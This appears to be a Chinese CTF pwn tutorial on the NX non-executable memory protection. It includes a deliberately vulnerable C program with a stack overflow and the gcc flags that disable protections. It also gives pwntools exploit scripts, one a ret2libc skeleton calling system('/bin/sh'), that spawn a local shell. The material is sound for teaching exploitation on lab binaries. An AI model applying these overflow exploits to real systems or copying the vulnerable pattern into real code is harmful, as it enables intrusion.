Pwn专题(2)——安全机制No-eXecute

0x00 简介

使用checksec查看pwn题目开启的安全机制经常会看到类似下图的界面

0x01 No-eXecute

No-eXecute(NX),它代表的是数据所在的内存页标识为不可执行

根据这个原理我们可以知道如果这个时候我们再使用传统的栈溢出时CPU就会抛出异常

接下来看一个例子来对NX保护进行理解

使用下面的命令来对程序进行编译
gcc  -m32  -fno-stack-protector  -no-pie  -z  noexecstack  happy.c  -o  a.out

#include<unistd.h>
void vuln_func()
{
char buf[128];
read(STDIN_FILENO,buf,256);    //溢出点
}
int main()
{
vuln_func();
write(STDOUT_FILENO,”Hello Shadow!\n”,13);
}

于是源码编译就省了我们对它进行分析,直接编写exp

此时需要注意的是我们自己放在shellcode是不可以执行的,因此只能使用程序自己的代码进行重放攻击,比如改变程序的执行流程到libc中的“system(“/bin/sh”)”。由于关闭了ASRL(地址随机化)所以system函数和“/bin/sh”是固定的地址

from pwn import *
io = process(“./a.out”)
ret = ret_addr
system = system_addr
binsh = binsh_addrpayload = “A” * 140 + p32(system) + p32(ret) + p32(binsh)
io.send(payload)
io.interactive()

0x02 实战

运行程序观察程序特征。在用户输入“123”后,显示”win=0 Sorry, you lose.”

使用checksec查看题目开启的安全机制,发现程序只开启了NX.

使用IDA对程序进行静态分析。发现一个可疑操作,malloc申请了一块0x200的内存。之后再vuln函数中作为参数进行了调用

在vuln函数中发现了“strcpy”函数存在溢出点

编写exp

from pwn import *
io = process(“./pwn”)
io.write(‘a’*64+’\x01\x00’)
io.interactive()

运行exp进行攻击,成功拿到shell